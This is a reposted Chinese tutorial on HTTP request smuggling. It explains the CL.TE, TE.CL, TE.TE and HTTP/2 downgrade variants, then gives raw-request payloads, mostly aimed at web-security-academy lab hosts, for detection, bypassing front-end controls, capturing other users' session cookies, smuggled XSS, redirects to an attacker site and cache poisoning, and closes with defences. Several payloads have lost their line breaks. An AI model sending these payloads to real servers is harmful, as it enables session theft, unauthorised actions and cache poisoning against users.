HTTP 请求走私漏洞(HTTP Request Smuggling)

一、什么是Http 请求走私漏洞?

        HTTP请求走私漏洞(HTTP Request Smuggling)是一种安全漏洞,利用了HTTP协议中请求和响应的解析和处理方式的不一致性。攻击者通过构造特定的恶意请求,以欺骗服务器和代理服务器,从而绕过安全机制,执行未经授权的操作。

        HTTP请求走私漏洞通常涉及两个或多个HTTP请求的组合,攻击者可以利用HTTP报文中的头部或其他元数据来混淆和欺骗服务器或代理服务器的解析逻辑。

二、 Http 请求走私漏洞可能造成的危害

        请求分隔问题:攻击者可以在两个请求之间插入非标准的分隔符或字符,以欺骗服务器将两个请求视为单个请求,或将单个请求视为多个请求。

        逻辑混淆问题:攻击者可以利用不同组件(如代理服务器、负载均衡器)之间的解析差异,通过欺骗一个组件来绕过另一个组件的安全机制,从而执行未经授权的操作。

        响应处理问题:攻击者可以通过欺骗服务器来影响服务器的响应处理方式,例如在响应中插入恶意内容或绕过安全策略。

        攻击者利用HTTP请求走私漏洞可能导致多种安全问题,包括:信息泄露:攻击者可以通过欺骗服务器来泄露敏感信息,如会话令牌、用户凭据等。身份伪造:攻击者可以伪造请求,冒充其他用户或执行未经授权的操作。

 三、常见的Http 请求走私漏洞

        CLTE:前端服务器使用 Content-Length 头,后端服务器使用 Transfer-Encoding 头
        TECL:前端服务器使用 Transfer-Encoding 标头,后端服务器使用 Content-Length 标头。
        TETE:前端和后端服务器都支持 Transfer-Encoding 标头,但是可以通过以某种方式来诱导其中一个服务器不处理它。

        补充:ransfer-Encoding: chunked 是一种HTTP协议中的传输编码方式,用于在HTTP消息中传输分块数据。当服务器接收到带有 Transfer-Encoding: chunked 头部的请求时,它会按照以下方式处理:

        1、读取请求主体:服务器会读取请求的主体数据,以获取完整的请求内容。

        2、解析分块数据:服务器会根据分块编码规则解析请求主体中的分块数据。每个分块都以该分块的大小(十六进制表示)开始,后跟一个 CRLF(回车换行),然后是实际的分块数据,最后以另一个 CRLF 结束。

        3、合并分块数据:服务器会将所有分块数据合并为完整的请求主体。这意味着服务器会去除每个分块数据的大小信息,并将所有数据拼接在一起,形成原始的请求主体。

        4、处理请求:一旦服务器重构了完整的请求主体,它会根据HTTP方法和其他头部字段来处理请求。服务器将继续处理请求,执行相应的操作,例如处理请求的资源、执行操作或返回响应。

 四、常见的攻击方式

 1、HTTP 请求走私、CL.TE 漏洞

        CL-TE指前端服务器处理 Content-Length 这一请求头,而后端服务器遵守RFC2616的规定,忽略掉 Content-Length ,处理 Transfer-Encoding ,后端服务器接收到0结束标志后停止,将缓存区G放到下个请求开始位置。例如:

POST / HTTP/1.1
Host: example.com
...
Connection: keep-alive
Content-Length: 6
Transfer-Encoding: chunked0G

2、HTTP 请求走私,TE.CL 漏洞

        TE-CL指前端服务器处理 Transfer-Encoding 请求头,而后端服务器处理 Content-Length 请求头。前端服务器处理Transfer-Encoding,当其读取到0\r\n\r\n时,认为是读取完毕了,此时这个请求对代理服务器来说是一个完整的请求,然后转发给后端服务器,后端服务器处理Content-Length请求头,当它读取完12\r\n之后,就认为这个请求已经结束了,后面的数据就认为是另一个请求了例如:

POST / HTTP/1.1
Host: example.com
...
Content-Length: 4
Transfer-Encoding: chunked12
GPOST / HTTP/1.10

 注意:关闭更新Content-Length,这个选项是用于控制Burp是否自动更新请求消息头中的Content-Length。

 3、HTTP 请求走私,TE.TE 混淆 TE 标头

        当收到存在两个请求头的请求包时,前后端服务器都处理Transfer-Encoding请求头,通过对发送的请求包中的Transfer-Encoding进行某种混淆操作,从而使其中一个服务器不处理Transfer-Encoding请求头。

常见混淆:
        Transfer-Encoding: xchunked
        Transfer-Encoding : chunked
        Transfer-Encoding: chunked
        Transfer-Encoding: x
        Transfer-Encoding:[tab]chunked
        [space]Transfer-Encoding: chunked
        X: X[\n]Transfer-Encoding: chunked
        Transfer-encoding: cow

POST/ HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15x=1
0

 五、如何检测http走私漏洞

 1、使用定时技术查找 HTTP 请求走私漏洞

1.1 使用计时技术查找CL.TE漏洞

OST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 41
A
X

        由于前端服务器使用Content-Length标头,仅转发此请求,省略X,后端服务器使用ransfer-Encoding标头,处理第一个区块,然后等待下一个区块到达。这将导致可观察到的时间延迟。

1.2 使用计时技术查找TE.CL漏洞

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 60X

        由于前端服务器使用Transfer-Encoding标头,仅转发此请求的一部分,省略X.后端服务器使用Content-Length标头,期望邮件正文中有更多内容,并等待剩余内容到达。这将导致可观察到的时间延迟。

2、使用差异响应确认 HTTP 请求走私漏洞

2.1 HTTP 请求走私,通过差异响应确认 CL.TE 漏洞

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunkede
q=smuggling&x=
0GET /404 HTTP/1.1
Foo: x

        如果攻击成功,则后端服务器将此请求的最后两行视为属于收到的下一个请求。这将导致后续的请求出现异常.

GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11q=smuggling

2.2   HTTP 请求走私,通过差分响应的 TE.CL 漏洞  

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144x=
0

        如果攻击成功,则后端服务器会将此后的所有内容视为属于收到的下一个请求。这将导致后续的请求出现异常。

六、如何利用http走私漏洞

1、利用HTTP请求走私绕过前端安全控制CL.TE漏洞

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
Transfer-Encoding: chunked0GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10x=

2、利用HTTP请求走私绕过前端安全控制TE.CL漏洞

POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15x=1
0

3、利用 HTTP 请求走私揭示前端请求重写

3.1、找一个能够将请求参数的值输出到响应中的POST请求。
3.2、构造该POST请求中,先构造走私请求,并将该参数放在消息的最后。
3.3、走私这一个请求,由于走私请求数据包中Content-length过大,自身携带数据没有达到这个数目,后端服务器会在收到第一个走私请求时会误以为该请求还没有结,将不断接受新传来的HTTP请求。最终将前端服务器添加的HTTP头显示在页面。

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
Transfer-Encoding: chunked0POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Connection: closesearch=test

 4、利用 HTTP 请求走私来捕获其他用户的请求

POST / HTTP/1.1
Host: ac9e1f401f037f30802f1770002200fc.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=GvJSTvhXyJeJlPNbJZHneuEjDwJL24XL
Upgrade-Insecure-Requests: 1
Content-Length: 259
Transfer-Encoding: chunked
​
0
​
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 600
Cookie: session=GvJSTvhXyJeJlPNbJZHneuEjDwJL24XL
​
csrf=ZrUm7NFnwTcKipoyhKdLML4JUG2nsVKs&postId=4&name=joker&email=test%40test.com&website=&comment=test

         说明:需要调整下参数位置,将&comment放到最后,调整Content-Length大小。

5、使用 HTTP 请求走私来利用反射的 XSS

优于正常反射XSS的:

5.1、不需要与受害者用户进行交互。您不需要向他们提供URL,也不必等待他们访问它。您只是走私了包含XSS有效负载的请求,后端服务器将处理下一个用户的请求。
5.2、可以用于在请求的某些部分中利用XSS行为,而这些部分在正常的反射XSS攻击中是无法轻松控制的,例如HTTP请求标头。

POST / HTTP/1.1
Host: acdb1f261ef53650804e1f3600d400b1.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=5ZwMRDsuysnQYYEpfXKei2HCGDchgjN8
Upgrade-Insecure-Requests: 1
​
0
​
GET /post?postId=3 HTTP/1.1
User-Agent: "><script>alert(1)</script>#

6、使用 HTTP 请求走私将现场重定向转换为开放重定向

         GET /home 重定向GET /home/ 或 GET //home  重定向GET /home/

 利用过程如下:
6.1、构造走私请求

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked0GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

6.2、走私请求将触发重定向到攻击者的网站,这将影响后端服务器处理的下一个用户请求。

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.comHTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

7、利用 HTTP 请求走私执行 Web 缓存中毒

利用条件:存在缓存页,存在跳转页,存在请求走私漏洞

7.1、通过走私漏洞构造跳转页请求。
7.2、访问缓存页面,由于步骤1构造的Content-Length过大,会将继后续的请求拼接到x=1后。于是发生跳转,连续访问缓存页面,将响应缓存到服务器。
7.3、当普通用户正常访问时,会请求缓存页,由于缓存也指向利用服务器,所以造成中毒。

 8、利用HTTP请求走私进行网页缓存欺骗

        在Web缓存欺骗中,攻击者使应用程序将一些属于另一个用户的敏感内容存储在缓存中,然后攻击者从缓存中检索此内容。

1、构造走私请求,目的使之后的请求包含其中。
2、受害者访问静态页面时,会和之前的走私请求进行拼接,拼接后实际会访问account页面,返回account页面响应。

GET /my-account HTTP/1.1
X-Ignore: XGET /resources/js/tracking.js HTTP/1.1
Host: 0a79000903b24d05802a26a4007d0010.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101

3、缓存服务器对静态请求/resources/js/tracking.js的响应进行缓存。
4、当后续攻击者访问/resources/js/tracking.js静态资源时,会造成信息泄露。

 七,HTTP走私拓展

1、H2.CL 请求走私

        漏洞的原理是利用HTTP/2协议中允许使用重复的Content-Length头字段。攻击者通过在请求头中添加多个Content-Length头字段,以混淆服务器对请求的解析,从而绕过安全防护措施。由于不同的HTTP服务器和代理可能对Content-Length头字段的解析方式存在差异,攻击者可以利用这种不一致性来实施攻击。

Front-end (HTTP/2):method	POST
:path	/example
:authority	vulnerable-website.com
content-type	application/x-www-form-urlencoded
content-length	0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Content-Length: 10x=1Back-end (HTTP/1)POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 0GET /admin HTTP/1.1
Host: vulnerable-website.com
Content-Length: 10x=1GET / H

 2、H2.TE 漏洞

Front-end (HTTP/2):method	POST
:path	/example
:authority	vulnerable-website.com
content-type	application/x-www-form-urlencoded
transfer-encoding	chunked0GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: barBack-end (HTTP/1)POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked0GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: bar

 3、通过 CRLF 注入走私 HTTP/2 请求

        攻击者通过在HTTP/2请求的请求行或请求头字段中插入CRLF字符来欺骗服务器对请求的解析,而HTTP/2 消息是二进制的而不是基于文本的,因此每个标头的边界基于显式的预定偏移量而不是分隔符字符。这意味着在标头值中不再具有任何特殊意义,不会导致标头被拆分,但是当它被重写为 HTTP/1 请求时,它将再次被解释为标头分隔符。HTTP/1 后端服务器将看到两个不同的标头。

4、通过 CRLF 注入拆分 HTTP/2 请求

        攻击者通过在HTTP/2请求的请求头字段中插入CRLF字符来欺骗服务器对请求的解析。当前端服务器在降级期间追加到标头的末尾时,这会有效地将走私的前缀转换为完整的请求,从而毒害响应队列。当受害者访问走私请求的404页面,攻击者再次访问则返回受害者的请求响应页面,当然还利用了Set-Cookie。

八、如何防范HTTP请求走私漏洞

        使用 HTTP/2 端到端,如果可能,请禁用 HTTP 降级。HTTP/2 使用强大的机制来确定请求的长度,并且在端到端使用时,本质上可以防止请求走私。如果无法避免 HTTP 降级,请确保根据 HTTP/1.1 规范验证重写的请求。例如,拒绝标头中包含换行符、标头名称中包含冒号以及请求方法中包含空格的请求。

        使前端服务器规范化不明确的请求,并使后端服务器拒绝任何仍不明确的请求,从而在此过程中关闭 TCP 连接。

        永远不要假设请求没有正文。这是 CL.0 和客户端不同步漏洞的根本原因。

        如果在处理请求时触发服务器级异常,则默认放弃连接。

        如果通过转发代理路由流量,请确保尽可能启用上游 HTTP/2。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/6576.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Godot 4 源码分析 - 增加管道通信

学习研究Godot 4&#xff0c;很爽&#xff0c;虽然很庞杂&#xff0c;但相对于自己的水平来说&#xff0c;很强大&#xff0c;尤其是vulkan这块直接打包可用&#xff0c;省得自己从头琢磨。 一点一点地消化、优化与完善&#xff0c;最终才能成为自己的。 这段时间就在Godot的…

Pytorch迁移学习使用Resnet50进行模型训练预测猫狗二分类

目录 1.ResNet残差网络 1.1 ResNet定义 1.2 ResNet 几种网络配置 1.3 ResNet50网络结构 1.3.1 前几层卷积和池化 1.3.2 残差块&#xff1a;构建深度残差网络 1.3.3 ResNet主体&#xff1a;堆叠多个残差块 1.4 迁移学习猫狗二分类实战 1.4.1 迁移学习 1.4.2 模型训练 1.…

华为数通HCIP-ISIS基础

IS-IS的基本概念 isis&#xff08;中间系统到中间路由协议&#xff09; 链路状态路由协议、IGP、无类路由协议&#xff1b; IS-IS是一种链路状态路由协议&#xff0c;IS-IS与OSPF在许多方面非常相似:运行IS-IS协议的直连设备之间通过发送Hello报文发现彼此&#xff0c;然后建…

从零开始搭建vue3 + ts + pinia + vite +element-plus项目

前言&#xff1a;据说vue2将于 2023 年 12 月 31 日停止维护&#xff0c;最近打算搭建一个vue3项目来学习一下&#xff0c;以防忘记&#xff0c;记录一下搭建过程。 一、使用npm创建项目 前提条件&#xff1a;已安装 16.0 或更高版本的 Node.js 执行 “npm init vuelatest”…

【Java基础教程】(四十三)多线程篇 · 下:深入剖析Java多线程编程:同步、死锁及经典案例——生产者与消费者,探究sleep()与wait()的差异

Java基础教程之多线程 下 &#x1f539;本节学习目标1️⃣ 线程的同步与死锁1.1 同步问题的引出2.2 synchronized 同步操作2.3 死锁 2️⃣ 多线程经典案例——生产者与消费者&#x1f50d;分析sleep()和wait()的区别&#xff1f; &#x1f33e; 总结 &#x1f539;本节学习目标…

谷歌插件(Chrome扩展) “Service Worker (无效)” 解决方法

问题描述&#xff1a; 写 background 文件的时候报错了&#xff0c;说 Service Worker 设置的 background 无效。 解决&#xff08;检查&#xff09;方法&#xff1a; 检查配置文件&#xff08;manifest.json&#xff09; 中的 manifest_version 是否为 3。 background 中的…

如何动态修改 spring aop 切面信息?让自动日志输出框架更好用

业务背景 很久以前开源了一款 auto-log 自动日志打印框架。 其中对于 spring 项目&#xff0c;默认实现了基于 aop 切面的日志输出。 但是发现一个问题&#xff0c;如果切面定义为全切范围过大&#xff0c;于是 v0.2 版本就是基于注解 AutoLog 实现的。 只有指定注解的类或…

DataWhale AI夏令营——机器学习

DataWhale AI夏令营——机器学习 学习记录一1. 异常值分析2. 单变量箱线图可视化3. 特征重要性分析 学习记录一 锂电池电池生产参数调控及生产温度预测挑战赛 已配置环境&#xff0c;跑通baseline&#xff0c;并在此基础上对数据进行了简单的分析。 1. 异常值分析 对训练集…

K8S初级入门系列之八-网络

一、前言 本章节我们将了解K8S的相关网络概念&#xff0c;包括K8S的网络通讯原理&#xff0c;以及Service以及相关的概念&#xff0c;包括Endpoint&#xff0c;EndpointSlice&#xff0c;Headless service&#xff0c;Ingress等。 二、网络通讯原理和实现 同一K8S集群&…

PMP 数据收集工具与技术

数据收集工具与技术 (9个) 标杆对照 标杆对照是指将实际或计划的产品、流程和实践与其他可比组织的 做法进行比较&#xff0c;以便识别最佳实践、形成改进意见&#xff0c;并为绩效考核 提供依据。 头脑风暴 头脑风暴是一种数据收集和创意技术&#xff0c;主要用于在短时间…

三维点云中的坐标变换(只讲关键部分)

一、坐标旋转 坐标旋转包含绕x、y、z轴旋转&#xff0c;在右手坐标系中&#xff0c;x-翻滚(roll)&#xff0c;y-俯仰(pitch)&#xff0c;z-航向(yaw)。如果想详细了解&#xff0c;可以网络搜索 在PCL中&#xff0c;从baseLink到map的转换关系为:先绕x轴旋转,在绕y轴旋转,最后绕…

【软件工程中的各种图】

1、用例图&#xff08;use case diagrams&#xff09; 【概念】描述用户需求&#xff0c;从用户的角度描述系统的功能 【描述方式】椭圆表示某个用例&#xff1b;人形符号表示角色 【目的】帮组开发团队以一种可视化的方式理解系统的功能需求 【用例图】 2、静态图(Static …

【数据结构】C--单链表(小白入门基础知识)

前段时间写了一篇关于顺序表的博客&#xff0c;http://t.csdn.cn/0gCRp 顺序表在某些时候存在着一些不可避免的缺点: 问题&#xff1a; 1. 中间 / 头部的插入删除&#xff0c;时间复杂度为 O(N) 2. 增容需要申请新空间&#xff0c;拷贝数据&#xff0c;释放旧空间。会有不…

前端 | ( 十一)CSS3简介及基本语法(上) | 尚硅谷前端html+css零基础教程2023最新

学习来源&#xff1a;尚硅谷前端htmlcss零基础教程&#xff0c;2023最新前端开发html5css3视频 系列笔记&#xff1a; 【HTML4】&#xff08;一&#xff09;前端简介【HTML4】&#xff08;二&#xff09;各种各样的常用标签【HTML4】&#xff08;三&#xff09;表单及HTML4收尾…

2023/07/23

1. 必须等待所有请求结束后才能执行后续操作的处理方式 方式一&#xff1a; async func () {const p1 await api1();const p2 await api2();const p3 await api3();Promise.all([p1, p2, p3]).then(res > {后续操作...}) }方式二&#xff1a;待补充 2. flex 弹性盒子布…

FPGA实现串口回环

文章目录 前言一、串行通信1、分类1、同步串行通信2、异步串行通信 2、UART串口通信1、UART通信原理2、串口通信时序图 二、系统设计1、系统框图2.RTL视图 三、源码1、串口发送模块2、接收模块3、串口回环模块4、顶层模块 四、测试效果五、总结六、参考资料 前言 环境&#xff…

【计算机视觉 | 目标检测】arxiv 计算机视觉关于目标检测的学术速递(7 月 21 日论文合集)

文章目录 一、检测相关(15篇)1.1 Representation Learning in Anomaly Detection: Successes, Limits and a Grand Challenge1.2 AlignDet: Aligning Pre-training and Fine-tuning in Object Detection1.3 Cascade-DETR: Delving into High-Quality Universal Object Detectio…

《Docker与持续集成/持续部署:构建高效交付流程,打造敏捷软件交付链》

&#x1f337;&#x1f341; 博主 libin9iOak带您 Go to New World.✨&#x1f341; &#x1f984; 个人主页——libin9iOak的博客&#x1f390; &#x1f433; 《面试题大全》 文章图文并茂&#x1f995;生动形象&#x1f996;简单易学&#xff01;欢迎大家来踩踩~&#x1f33…

c语言修炼之指针和数组笔试题解析(1.2)

前言&#xff1a; 书接上回&#xff0c;让我们继续开始今天的学习叭&#xff01;废话不多说&#xff0c;还是字符数组的内容上代码&#xff01; char *p是字符指针&#xff0c;*表示p是个指针&#xff0c;char表示p指向的对象类型是char型&#xff01; char*p"abcdef&q…

使用Plist编辑器——简单入门指南

本指南将介绍如何使用Plist编辑器。您将学习如何打开、编辑和保存plist文件&#xff0c;并了解plist文件的基本结构和用途。跟随这个简单的入门指南&#xff0c;您将掌握如何使用Plist编辑器轻松管理您的plist文件。 plist文件是一种常见的配置文件格式&#xff0c;用于存储应…